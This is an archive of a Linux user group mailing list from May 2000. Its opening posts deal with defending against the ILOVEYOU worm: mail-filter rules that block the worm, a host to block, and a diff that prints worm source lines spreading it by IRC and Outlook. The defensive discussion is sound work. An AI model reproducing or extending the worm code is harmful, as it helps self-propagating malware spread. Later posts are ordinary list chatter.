tools, or virus databases to help prevent and combat this worm. A list of vendor-specific anti-virus information can be found in Appendix A. Disable Windows Scripting Host Because the worm is written in VBS, it requires the Windows Scripting Host (WSH) to run. Disabling WSH prevents the worm from executing. For information about disabling WSH, see: http://www.sophos.com/support/faqs/wsh.html This change may disable functionality the user desires. Exercise caution when implementing this solution. Disable Active Scripting in Internet Explorer Information about disabling active scripting in Internet Explorer can be found at: http://www.cert.org/tech_tips/malicious_code_FAQ.html#steps This change may disable functionality the user desires. Exercise caution when implementing this solution. Disable Auto-DCC Reception in IRC Clients Users of Internet Relay Chat (IRC) programs should disable automatic reception of files offered to them via DCC. Filter Virus in E-Mail Sites can use email filtering techniques to delete messages containing subject lines known to contain the worm. For sites using unix, here are some possible methods: Sendmail The following sendmail rule will delete all messages with the Subject: line ILOVEYOU: HSubject:[tab][tab][tab]$>Check_Subject D{MPat}ILOVEYOU D{MMsg}This message may contain the ILOVEYOU virus SCheck_Subject R${MPat} $*[tab]$#error $: 553 ${MMsg} RRe: ${MPat} $*[tab]$#error $: 553 ${MMsg} RFW: ${MPat} $*[tab]$#error $: 553 ${MMsg} PostFix Add the following line in /etc/postfix/header_checks: /^Subject: ILOVEYOU/ REJECT Procmail This procmail rule also deletes any messages with the Subject: line containing "ILOVEYOU": :0 D * ^Subject:[[tab] ]+ILOVEYOU /dev/null Note that in all of these examples, [tab] represents a literal tab character, and must be replaced with one for this to work correctly. It is important to note that these three methods, as described, do not prevent the worm from spreading if the Subject: line of the email has changed. Administrators can use more complicated procmail rules to block the worm based on the body of the email, but such methods require more processing time on mail servers, and may not be feasible at sites with high volumes of email traffic. Exercise Caution When Opening Attachments Exercise caution with attachments in email. Users should disable auto-opening or previewing of email attachments in their mail programs. Users should never open attachments from an untrusted origin, or that appear suspicious in any way. ======================================== Sthitaprajna @mailandnews.com ======================================== From linux-india-general-owner@lists.linux-india.org Fri May 5 04:38:53 2000 Received: from cs2.hyd.office.juno.com (cs2.hyd.office.juno.com [208.238.62.3]) by www.aunet.org (Postfix) with ESMTP id D5D403804F for ; Fri, 5 May 2000 04:38:41 -0700 (PDT) Received: from hydmail1.hyd.office.juno.com (hydmail1.hyd.office.juno.com [208.238.62.45]) by cs2.hyd.office.juno.com (8.8.6.Beta0/8.8.7/juno-1.1) with ESMTP id RAAAA20676; Fri, 5 May 2000 17:08:25 +0530 (IST) Received: by hydmail1.hyd.office.juno.com with Internet Mail Service (5.5.2650.21) id ; Fri, 5 May 2000 17:08:25 +0530 Message-ID: <140318358CECD3118AE700104B8837D74DF16F@hydmail1.hyd.office.juno.com> From: "Ramasubramanian, Suresh" To: "'sthitaprajna@mailandnews.com'" , linux-india-general@lists.linux-india.org Subject: RE: Re: IL0VEY0U worm [CERT Advisory CA-2000-04] Date: Fri, 5 May 2000 17:08:24 +0530 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" X-Archive-Number: 200005/11 The worm ~HAS~ morphed. Best solution - turn off windoze scripting and throw outlook in the dustbin. Use a decent client like Pegasus Mail on 'doze (or check yr mailbox using mutt / pine / emacs .... FWIW, about procmail recipes - yours is a bit restrictive. See this Update (refined filtering) and recipe now sends an autoack to the sender Also, the worm downloads a payload from www.skyinet.net [206.101.197.226]. Block port 80 for this IP at your border or firewall. # Catch ILOVEYOU email worm and notify sender his computer is infected :0 D * ^Subject:\s+ILOVEYOU$ * ^Content-Type:\s+multipart/mixed { # EMail notice to infected sender :0 B c * name=\"LOVE-LETTER-FOR-YOU.TXT.vbs\" | (formail -r -A"X-Mailer: procmail"; \ cat /home/sysadmin/mail/ILOVEYOU.txt) \ | $SENDMAIL -oi -t -f postmaster@yourdomain.com # Safely stash email worm away :0 B * name=\"LOVE-LETTER-FOR-YOU.TXT.vbs\" /home/sysadmin/mail/I-LOVE-YOU.worm } content of I-LOVE-YOU.worm file - To Whom It May Concern, An e-mail you sent to a customer of YOUR-COMPANY-NAME-HERE triggered this virus protection filter on our mail server. There is currently a virus on the Internet that propagates itself via e-mail. Unfortunately, it appears that your computer has become infected and is currently e-mailing the virus to other users in an attempt to infect other computer systems. Please visit http://www.mcafee.com and download the latest McAfee Virus Scan software along with the latest DAT files to fix this problem. A free demo version of the software is available from McAfee. Additional information on this virus can be found at: http://news.bbc.co.uk/hi/english/uk/newsid_736000/736080.stm Sincerely, YOUR NAME OR COMPANY HERE hth -s -- Suresh Ramasubramanian + President, CAUCE India http://india.cauce.org + suresh@india.cauce.org -- Even bytes get lonely for a little bit. From smeagol@freenet.nether.net Fri May 5 10:53:51 2000 Date: Thu, 4 May 2000 23:23:31 -0400 (EDT) From: Smeagol Gollum To: sureshr@staff.juno.com, suresh@kcircle.com, r.suresh@mailandnews.com Subject: SPAM-L archives -- May 2000, week 1 (#197) [L-Soft(TM) logo] [L-Soft international] _________________________________________________________________ Previous (more recent) message Next (less recent) message Previous (more recent) in topic Next (less recent) in topic Previous (more recent) by same author Next (less recent) by same author Previous page (May 2000, week 1) Back to main SPAM-L page Join or leave SPAM-L (or change settings) Reply Post a new message Search Proportional font Non-proportional font Date: Thu, 4 May 2000 20:02:23 -0300 Reply-To: "Norman L. DeForest" Sender: Spam Prevention Discussion List From: "Norman L. DeForest" Subject: Re: BLOCK: I LOVE YOU virus - It has mutated, new subject and file, name: "fwd: Joke" and "Very Funny.vbs" In-Reply-To: Content-Type: TEXT/PLAIN; charset=US-ASCII Forwarded to me from someone on the technical team here. ---------- Forwarded message ---------- Date: Thu, 4 May 2000 15:41:09 -0700 From: Andrew Edelstein To: procmail@informatik.rwth-aachen.de Subject: Re: IL0VEY0U has mutated On Thu, May 04, 2000 at 03:26:05PM -0700, Andrew Edelstein wrote: > Heads up: our worm of the day has mutated into a new version: > Same trojan, only now the subject says "fwd: Joke" and the body is empty. The > attached file is named "Very Funny.vbs" Thought I'd share the love , since I've already had a couple of people ask me for it. Here's a diff of the attached file: bash-2.03$ diff LOVE-LETTER-FOR-YOU.TXT.vbs Very\ Funny.vbs 25c25 < c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") --- > c.Copy(dirsystem&"\Very Funny.vbs") 118c118 < scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM" --- > scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\Very Funny.HTM" 185,187c185,187 < male.Subject = "ILOVEYOU" < male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me." < male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") --- > male.Subject = "fwd: Joke" > male.Body = vbcrlf&"" > male.Attachments.Add(dirsystem&"\Very Funny.vbs") 266c266 < set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM") --- > set b=fso.CreateTextFile(dirsystem+"\Very Funny.HTM") 268c268 < set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2) --- > set d=fso.OpenTextFile(dirsystem+"\Very Funny.HTM",2) 274c274 < end sub \ No newline at end of file --- > end sub And their cksums: 1912960623 10034 LOVE-LETTER-FOR-YOU.TXT.vbs 1550212417 9931 Very Funny.vbs -- Andrew Edelstein http://andrew.pure-chaos.com "I'm getting off right now!" Sarah, 07/24/1999 _________________________________________________________________ Back to: Top of message | Previous page | Main SPAM-L page _________________________________________________________________ [lpowered.gif] [catalist.gif] [EASE-generic-narrow.gif] Back to the index page. Suresh Ramasubramanian sureshr@staff.juno.com > -----Original Message----- > From: Sthitaprajna [SMTP:sthitaprajna@mailandnews.com] > Sent: Friday, May 05, 2000 5:00 PM > To: linux-india-general@lists.linux-india.org > Subject: [LIG] Re: IL0VEY0U worm [CERT Advisory CA-2000-04] > > > > :0 D > * ^Subject:[[tab] ]+ILOVEYOU > /dev/null > From linux-india-general-owner@lists.linux-india.org Sat May 6 13:51:49 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id A3F8F380B3 for ; Sat, 6 May 2000 13:51:44 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id NAA28405 for linux-india-general@lists.linux-india.org; Sat, 6 May 2000 13:51:19 -0700 Date: Sat, 6 May 2000 13:51:19 -0700 From: Arun Sharma To: Linux India General Subject: hardware stuff and gcc Message-ID: <20000506135119.A28378@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i X-Archive-Number: 200005/12 Alpha/Athlon/PIII comparision from a linux perspective: http://www.aceshardware.com/Spades/read.php?article_id=145 Confirms statements I made about gcc's (lack of) optimizations on non-x86 platforms in an earlier BSD/GNU thread. Another example of places where "the bazaar" doesn't work. -Arun From linux-india-general-owner@lists.linux-india.org Sun May 7 03:31:49 2000 Received: from vikram.svrec.ernet.in (unknown [202.141.85.15]) by www.aunet.org (Postfix) with ESMTP id 367B73807B for ; Sun, 7 May 2000 03:27:53 -0700 (PDT) Received: from localhost (96co242@localhost) by vikram.svrec.ernet.in (8.8.7/8.8.7) with ESMTP id PAA10975 for ; Sun, 7 May 2000 15:58:17 +0530 Date: Sun, 7 May 2000 15:58:16 +0530 (IST) From: "Vishwas." <96co242@svrec.ernet.in> To: Linux India General Subject: unable to write on nfs mounted dos partition In-Reply-To: <20000506135119.A28378@sharmas.dhs.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200005/13 Dear friends, How to enable a dos partition for writing in nfs environment. regards, vtp. From linux-india-general-owner@lists.linux-india.org Sun May 7 03:59:49 2000 Received: from blr.vsnl.net.in (blr.vsnl.net.in [202.54.12.6]) by www.aunet.org (Postfix) with ESMTP id BEA663807B; Sun, 7 May 2000 03:59:38 -0700 (PDT) Received: from udhay (PPP-177-5.bng.vsnl.net.in [203.197.177.5]) by blr.vsnl.net.in (8.9.3/8.9.3) with ESMTP id QAA07504; Sun, 7 May 2000 16:20:31 +0530 (IST) X-Pgp-Dsskey: 0x55FAB8D3 X-Pgp-Rsakey: 0xCAA67415 Message-Id: <4.2.0.58.20000507121544.00b37ac0@202.54.12.17> X-Nil: Date: Sun, 07 May 2000 12:16:46 +0530 To: linux-india-general@lists.linux-india.org From: Udhay Shankar N Subject: Making the Palm / Linux connection Cc: linux-india-help@lists.linux-india.org Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Archive-Number: 200005/14 Interesting. http://oreilly.linux.com/pub/a/network/2000/05/05/magazine/PalmLinux.html Udhay -- _____________________________________________________________________ http://www.unimobile.com/ http://pobox.com/~udhay Unimobile - the world's first internet mobile Now Live ! From linux-india-general-owner@lists.linux-india.org Sun May 7 11:19:52 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id 7E7BA38053 for ; Sun, 7 May 2000 11:19:47 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id LAA30912 for linux-india-general@lists.linux-india.org; Sun, 7 May 2000 11:19:23 -0700 Date: Sun, 7 May 2000 11:19:23 -0700 From: Arun Sharma To: linux-india-general@lists.linux-india.org Subject: Re: Making the Palm / Linux connection Message-ID: <20000507111923.A30903@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: <4.2.0.58.20000507121544.00b37ac0@202.54.12.17>; from Udhay Shankar N on Sun, May 07, 2000 at 12:16:46PM +0530 X-Archive-Number: 200005/15 On Sun, May 07, 2000 at 12:16:46PM +0530, Udhay Shankar N wrote: > Interesting. > > http://oreilly.linux.com/pub/a/network/2000/05/05/magazine/PalmLinux.html I still can't get Win98 to talk to my palm pilot. Linux and FreeBSD as usual have no such problems :) -Arun From linux-india-general-owner@lists.linux-india.org Sun May 7 23:31:58 2000 Received: from internal.palcom.net (unknown [203.197.220.133]) by www.aunet.org (Postfix) with ESMTP id 3EFFD38078; Sun, 7 May 2000 23:31:43 -0700 (PDT) Received: (from raju@localhost) by internal.palcom.net (8.9.3/8.9.3) id MAA01666; Mon, 8 May 2000 12:01:35 +0530 From: Raju Mathur Message-ID: <14614.24391.277480.241514@malhaar.internal.palcom.net> Date: Mon, 8 May 2000 12:01:35 +0530 (IST) To: linux-delhi@lists.linux-india.org, linux-india-general@lists.linux-india.org Subject: Article in linux.com X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid Reply-To: raju@linux-delhi.org Mime-Version: 1.0 (generated by tm-edit 1.5) Content-Type: text/plain; charset=US-ASCII X-Archive-Number: 200005/16 I certainly seem to have gots many people's backs up with my standards article at linux.com (http://linux.com/news/articles.phtml?sid=93&aid=8568 works for me). Have a look, feedback welcome. -- Raju From linux-india-general-owner@lists.linux-india.org Mon May 8 04:12:28 2000 Received: from mars.bluestar.co.in (unknown [202.54.18.32]) by www.aunet.org (Postfix) with ESMTP id 3337A380D0; Mon, 8 May 2000 04:12:13 -0700 (PDT) Received: by MARS with Internet Mail Service (5.5.2650.21) id ; Mon, 8 May 2000 16:45:54 +0530 Message-ID: <51847924A645D3118FE50080AD42F1D33F57D3@MARS> From: Ramchandra Phadake To: "'linux-india-help@lists.linux-india.org'" , linux-india-general@lists.linux-india.org Subject: REGARDING PING Date: Mon, 8 May 2000 16:45:53 +0530 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain X-Archive-Number: 200005/17 Hi all, I am having a very serious problem. When I give a machine a ip address with #ifconfig eth0 128.0.6.100 .....it gives no error But when i ping it with other machine it gives the errore as follows #ping 128.0.6.100 ......gives ping 128.0.6.100 (128.0.6.100):56 data bytes ping:send to : No buffer space available ping:wrote 128.0.6.100 64 chars , ret = -1 also we get error NEIGHBOUR TABLE OVERFLOW. Could anybody can throw light on this Please reply as soon as possible.We desparately need your help Thanking in advance Regards Ramchandra From linux-india-general-owner@lists.linux-india.org Mon May 8 06:35:42 2000 Received: from aukbc3.aukbc.org (unknown [203.197.139.19]) by www.aunet.org (Postfix) with ESMTP id 84A1838072 for ; Mon, 8 May 2000 06:35:33 -0700 (PDT) Received: from localhost (IDENT:mksarav@localhost.localdomain [127.0.0.1]) by aukbc3.aukbc.org (8.9.3/8.9.3) with ESMTP id TAA00835 for ; Mon, 8 May 2000 19:12:51 +0530 Date: Mon, 8 May 2000 19:12:51 +0530 (IST) From: M K Saravanan X-Sender: mksarav@aukbc3.aukbc.org To: linux-india-general@lists.linux-india.org Subject: Freesoftware movement in Tamil * lecture at MIT Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=X-UNKNOWN Content-Transfer-Encoding: QUOTED-PRINTABLE X-Archive-Number: 200005/18 hi,=20 Dr. V Venkataramanan (Japan) is giving a lecture on "Free Software Movement in Tamil" at MIT, Chennai. Here is the schedule: Date: 9th May 2000 (tuesday) (IST) =3D=3D=3D=3D=3D Time: 5:30pm to 6:30pm (IST) =3D=3D=3D=3D=3D Venue: MIT-Aeronautical Engg. Dept. Seminar Hall=20 =3D=3D=3D=3D=3D=3D By: Dr. V. Venkataramanan =3D=3D=3D Microwave Physics Laboratory The Institute of Physical and Chemical Research (RIKEN) Wako-Shi, Saitama. JAPAN Organised by: AU-KBC Centre, MIT, Chennai. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D About the speaker:=20 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D >=20 > DrV Venkataramanan got his Ph.D. from IISc, Bangalore=A0, in the > field=A0=A0of Optics, > Laser. He did post-doctoral research at Glasgow, Portugal before his > current position=A0In Japan at Microwave Physics Lab. He maintains (keys > in, does the HTML work and designs) a website in Tamil called > "Kaviccilanthi". He=A0has the talent for writing veNpA, vanjippA and > such classical verses. he has written popular articles on scince and > technology in Thamizh=A0in the internet magazine "Thinnai" Some of his > poems and one short story have appeared in aaRaamthiNai. >=20 synopsis of the talk:=20 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --------- The term free software (as against freeware) has a larger meaning. It indicates the absence of strings, whatsoever, attached to the software. The source codes are open for anyone to modify and innovate. If the free software has not carved a niche market (??) for itself, it has helped to keep the commercial exploitation by mega corporations in check.=20=20 For a country like india, free software is the only viable long term solution. The very nature of the open source provides room for easy manipulation to different language user interfaces. However, no one has really attempted to exploit the free software in india. Though belated, the free software movement is catching up fast in tamil. This talk will highlight some of the achievements from the volunteers. The Project Gutenberg analog in tamil - Project Madurai is undergoing an explosive growth. Unparalled in any other language of the world, volunteers have published hitherto unpublished classics of the first millennium directly in the electronic format. Project Madurai growth has also spurred developments in other areas including convergence towards a standard code, free tamil fonts and editors.=20=20 The next logical step is providing a free, stable and powerful operating system. Efforts are already underway to convert the K Desktop Environment of the xwindow user friendly interface of unix and unix like operating systems like linux.=20=20 This talk will highlight efforts made hitherto and the directions for the future. An invitation is extended to contribute to this free software movement in tamil. ------------------ All interested guys are most welcome to this lecture. Sorry for the last minute announcement. How to reach MIT: =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D =46rom AirPort: =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D * Goto tirusulam railway station opposite to airport. catch a electric train to Chromepet Station. It is the second station from airport. (tirusulam-pallavaram-chromepet). Get down at Chromepet station. Just infront of you, you can see the MIT board. (Back entrance). =46rom Egmore: =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D * Catch an electric train from egmore to chromepet station. =46rom Central: =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D * From central walk 5 minutes to reach Park Station. From Park station catch an electric train to Chromepet Station. Back entrance (chromepet rly. station) is the best way to reach MIT.=20= =20 Those who are coming by vehicle will face problem. They can't enter through back entrance. They must come thru' Main Entrance. Near the main entrance, also there is a railway crossing & some underground work is going on to build a over bridge. so you have to come through Tambaram Sanatorium way or the shortcut through radhanagar road to enter MIT. if you find any difficulty in reaching MIT, just stay at Chromepet Bus stop and call 2402711 for help. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D mks ******************************************************************** M K Saravanan,=20 Design Engineer, The AU-KBC Centre for Internet & Telecom Technologies, Madras Institute of Technology, Anna University, Chrompet, Chennai 600 044. Tamilnadu, INDIA email: mksarav@mail.mitindia.edu Ph & FAX (Off): (091) (044) 2402711 ******************************************************************* From linux-india-general-owner@lists.linux-india.org Mon May 8 06:58:51 2000 Received: from md4.vsnl.net.in (md4.vsnl.net.in [202.54.6.60]) by www.aunet.org (Postfix) with ESMTP id CEBF4380A8 for ; Mon, 8 May 2000 06:58:44 -0700 (PDT) Received: from localhost.localdomain ([203.197.135.211]) by md4.vsnl.net.in (8.9.3/8.9.3) with ESMTP id TAA14662 for ; Mon, 8 May 2000 19:34:15 +0530 (IST) Received: (from g@localhost) by localhost.localdomain (8.9.3/8.9.3) id TAA00697 for linux-india-general@lists.linux-india.org; Mon, 8 May 2000 19:28:53 +0530 Date: Mon, 8 May 2000 19:28:53 +0530 From: G Gautam To: linux-india-general@lists.linux-india.org Subject: BeOS vs. Linux Message-ID: <20000508192853.A641@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.1.2i on RedHat Linux 6.1 X-Archive-Number: 200005/19 Here's a link I found comparing Linux and BeOS for Internet appliances http://www.byte.com/column/BYT20000426S0003 Regards, Gautam From linux-india-general-owner@lists.linux-india.org Thu May 11 23:04:19 2000 Received: from cs2.hyd.office.juno.com (cs2.hyd.office.juno.com [208.238.62.3]) by www.aunet.org (Postfix) with ESMTP id 0DC5D380B1 for ; Thu, 11 May 2000 23:04:12 -0700 (PDT) Received: (from sureshr@localhost) by cs2.hyd.office.juno.com (8.8.6.Beta0/8.8.7/juno-1.1) id LAAAA23738 for linux-india-general@lists.linux-india.org; Fri, 12 May 2000 11:34:09 +0530 (IST) Date: Fri, 12 May 2000 11:34:08 +051800 From: Suresh Ramasubramanian To: LIG Subject: [raju@linux-delhi.org: [LIH] D H Brown article on Linux and open source at linux.com] Message-ID: <20000512113408.A22303@staff.juno.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i Organization: Juno Abuse Desk X-Operating-System: SunOS 5.6 X-Editor: nano - http://www.asty.org/nano X-Archive-Number: 200005/20 moving to LIG - yeah, it is pretty good :) [should serve for a comment till I can do more than skim through it] :) -- Suresh Ramasubramanian | sureshr at staff.juno.com ----- Forwarded message from Raju Mathur ----- From: Raju Mathur Date: Fri, 12 May 2000 11:21:10 +0530 (IST) To: linux-delhi@lists.linux-india.org, linux-india-help@lists.linux-india.org Subject: [LIH] D H Brown article on Linux and open source at linux.com X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid Well-researched and well-written article by D H Brown on the current status of open source and its future. http://www.linux.com/news/articles.phtml?sid=93&aid=8664 Regards, -- Raju ----- End forwarded message ----- From linux-india-general-owner@lists.linux-india.org Fri May 12 14:24:55 2000 Received: from netscape.com (h-205-217-237-46.netscape.com [205.217.237.46]) by www.aunet.org (Postfix) with ESMTP id 653A938056 for ; Fri, 12 May 2000 14:24:49 -0700 (PDT) Received: from judge.mcom.com (judge.mcom.com [205.217.237.53]) by netscape.com (8.8.5/8.8.5) with ESMTP id OAA01335 for ; Fri, 12 May 2000 14:18:19 -0700 (PDT) Received: from netscape.com ([207.1.145.44]) by judge.mcom.com (Netscape Messaging Server 4.03) with ESMTP id FUGU5C01.MNP for ; Fri, 12 May 2000 14:24:48 -0700 Message-ID: <391C76A0.4814AE14@netscape.com> Date: Fri, 12 May 2000 14:24:48 -0700 From: Sudhakar Chandra Organization: I didn't do it, nobody saw me do it, no one can prove a thing X-Mailer: Mozilla 4.73 [en] (X11; U; Linux 2.2.15 i686) X-Accept-Language: en, fr MIME-Version: 1.0 To: linux-india-general@lists.linux-india.org Subject: [Proposal] LI Mailing List Guidlelines and Rules... Content-Type: multipart/mixed; boundary="------------F1F875B272E78B5ABB7FCA1D" X-Archive-Number: 200005/21 This is a multi-part message in MIME format. --------------F1F875B272E78B5ABB7FCA1D Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi folks, I am attaching to this email a draft of the guidelines and rules for posting to the LI mailing lists. We have grown sufficiently to warrant some such written document. This document was originally written by Raj Mathur and sent to me by Syed Khader Vali. I've made my own idiosyncratic stylistic changes to it. Please take a moment to go through this document and propose additions / changes. The document is split into two parts - guidelines and rules. The goal is to have as few rules as possible. We should try to have only the absolutely required stuff in the rules part. Think of it this way - rules == You have to follow this or face the possibility of being kicked out. guidelines == We most probably won't kick you out. But we will ridicule you. Once finalized, these guidelines will be published on the website, forwarded to the lists and sent to all new subscribers. List Admin PS: When I sign things as 'Thaths' I am writing in an individual capacity. When I sign things as 'List Admin' I am writing in the capacity of the list admin. -- Homer: [yawns] Marge, I'm bored. Marge: Why don't you read something? Homer: Because I'm trying to _reduce_ my boredom. Sudhakar C13n http://www.aunet.org/thaths/ Lead Indentured Slave --------------F1F875B272E78B5ABB7FCA1D Content-Type: text/plain; charset=us-ascii; name="guidelines" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="guidelines" Following are some guidelines and rules for posting to the Linux India Mailing lists. Feel free to adapt them to your style. Unless there are very compelling reasons, try to adhere to them. Guidelines ---------- - Format your message so that it fits within a 80-character window. Make sure each line of your message is not more than 80-characters. Long lines don't wrap well on many mail clients and cause difficulty in reading your message. - Put a blank line between paragraphs. This makes your message easier to read and easier to reformat if necessary. - Do not indent the first line of a paragraph. If you follow the previous guideline, paragraph breaks will be evident. - Use full words, not abbreviations wherever possible. In addition to being difficult to read, abbreviations (like 'ppl', 'coz' etc.) raise questions about your commitment to what you're posting. Well-knownacronyms (such as FYI, RTFM, BTW etc.) are fine, but if you're not sure that your readers will understand the acronym, expand it. If you don't take the extra minute to spell out full words, why should others spend a few minutes answering your questions? - Use a meaningful subject. A single word like ``Help!'' doesn't help in understanding the nature of the problem, and may be skipped by a person who may actually have been able to help you. - Change the subject if you're changing the content of a thread drastically. - Quote the original, but with discretion. Give enough of the original message to make the context of your posting clear, but do not quote the whole original (including headers) unless absolutely necessary. - Remove extras when quoting. If the quoted message contained a standard list trailer or a long signature, do remove it in your response. The trailer will get appended anew to your message in any case. - Use standard methods of quoting. Ideally, use ">" as the quote character. This adheres to the USENET and e-mail standard and makes it easy to distinguish multiple levels of quotes. This is also understood by most mail clients, who can then display the message properly. Using non-standard leading characters to distinguish quotes (e.g. "*", "|", etc) can confuse many mailers. - Use punctuation, but sparingly. Multiple "!" or "?" marks add no value to the message, but do succeed in turning off many recipients. - Please don't post to the mailing list in HTML format. Simple plain text could be creatively used to denote emphasis. - Use the following conventions to emphasise your text: This is *Bold text* This is /italicised text/ This is _The_Name_of_a_Book_or_Magazine_ (also called underlining). This is SHOUTING AND NO ONE WILL LISTEN TO YOU IF YOU SHOUT! This is *an action I am doing*, e.g. *grinning, ducking and running* [The difference between *...* used for bold and for denoting actions is usually clear from context. In general, it is preferable to use /italics/ rather than *bold*] - Give enough information to help your reader to help you if you're posting about a problem. Statements like, ``My Apache doesn't work'' are useless since they give no description of the problem, no idea about the methods you tried to identify the problem, and no information (logs, etc) which could help in diagnosing the problem. Give enough information (how did you set it up, what did you do to test it, what was the exact output, what did the logs contain, what versions of software/hardware were you using, etc) to enable remote diagnostics. On the other hand, do not just attach /var/log/messages to your message and expect people to download and wade through 11 MB of data. If you don't have the time or energy to select meaningful information, don't expect people to have the time and energy to wade through your post and send a reply. - Do not send personal messages on the list. Before you press the send button (or S key, or whatever your mailer uses), spend a moment to think about whether your message is of general interest or not. If it isn't, convert it into a personal message going only to the intended recipient and not to the list. There are no winners for posting the most messages to the list. - Research your facts before you post solutions to the list. If you're not sure of the solution to a problem, either do not post, or first make sure of all the steps and then post. If you cannot make sure, state very clearly in the message that you're not sure and that the user is trying your solution at his/her own risk. No solution is preferable to a wrong solution, which may cause immense damage. - Try to put yourself in the other person's shoes before you respond to a message. Ask yourself, ``Why did s/he write this? What exactly is s/he looking for?'' before jumping into a discussion. Do this especially if you're planning to respond at an emotional level -- emotions are fine (we're not robots), but frequent public displays of strong emotion will have the effect of reducing your credibility. - It's OK to post off-topic once in a while, but the subject of the message should be at least vaguely related to the interest of the list. E.g. looking for the e-mail of a fellow Linux coder whom you have lost touch with years ago is fine, but looking for a flat in Mumbai may not be. Prefix the subject of off-topic messages with the string [OFF-TOPIC]. Rules ----- - Do not post messages in non text format such as HTML, Doc or RTF. The mailing list software routinely filters out these messages. - Do not post attachments to the list (such as vCards, ms-tnef etc.) Attachments such these are frowned upon and sending non-text attachments can result in your being banned from the list. In fact, the mailing list software filters out these messages. - Do prefix messages which result in financial gain for anyone with the tag [COMMERCIAL] in the subject line. --------------F1F875B272E78B5ABB7FCA1D-- From linux-india-general-owner@lists.linux-india.org Sun May 14 14:11:25 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id 56DA138072 for ; Sun, 14 May 2000 14:11:19 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id OAA19301; Sun, 14 May 2000 14:10:58 -0700 Date: Sun, 14 May 2000 14:10:58 -0700 From: Arun Sharma To: linux-india-general@lists.linux-india.org Cc: "Ravikant K.Rao" Subject: Re: [LIH] PGP & Mutt Message-ID: <20000514141058.A19212@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: <14623.3330.894162.779521@rockford.myip.org>; from Ravikant K.Rao on Mon, May 15, 2000 at 02:02:43AM +0530 X-Archive-Number: 200005/22 On Mon, May 15, 2000 at 02:02:43AM +0530, Ravikant K.Rao wrote: > > Yes, That's where PGP is... but you really should be using GNU > tools. This topic refuses to die :) That's just your opinion - and a controversial one. I for example, have the opinion that GNU/GPL'ed tools should be avoided, in favor of other open source licenses listed at http://www.opensource.org/licenses whenever it is practical. So let's please keep this topic out of the main list (linux-india-help). > Start using OpenSSH, though it doesn't support Compression *At > The Moment* Yes. And OpenSSH has nothing to do with GNU or GPL - just in case you thought otherwise. Follow this link for the exact license terms: http://www.openbsd.org/cgi-bin/cvsweb/src/usr.bin/ssh/COPYING.Ylonen?rev=1.6 OpenSSL actually prohibits GNU'fying of such code: http://www.openssl.org/source/cvs/exp/LICENSE?rev=1.6&hideattic=1&sortbydate=0 [..] * The licence and distribution terms for any publically available version or * derivative of this code cannot be changed. i.e. this code cannot simply be * copied and put under another distribution licence * [including the GNU Public Licence.] */ Most people don't give a sh*t about all this license stuff - and most serious programmers don't care about how the code 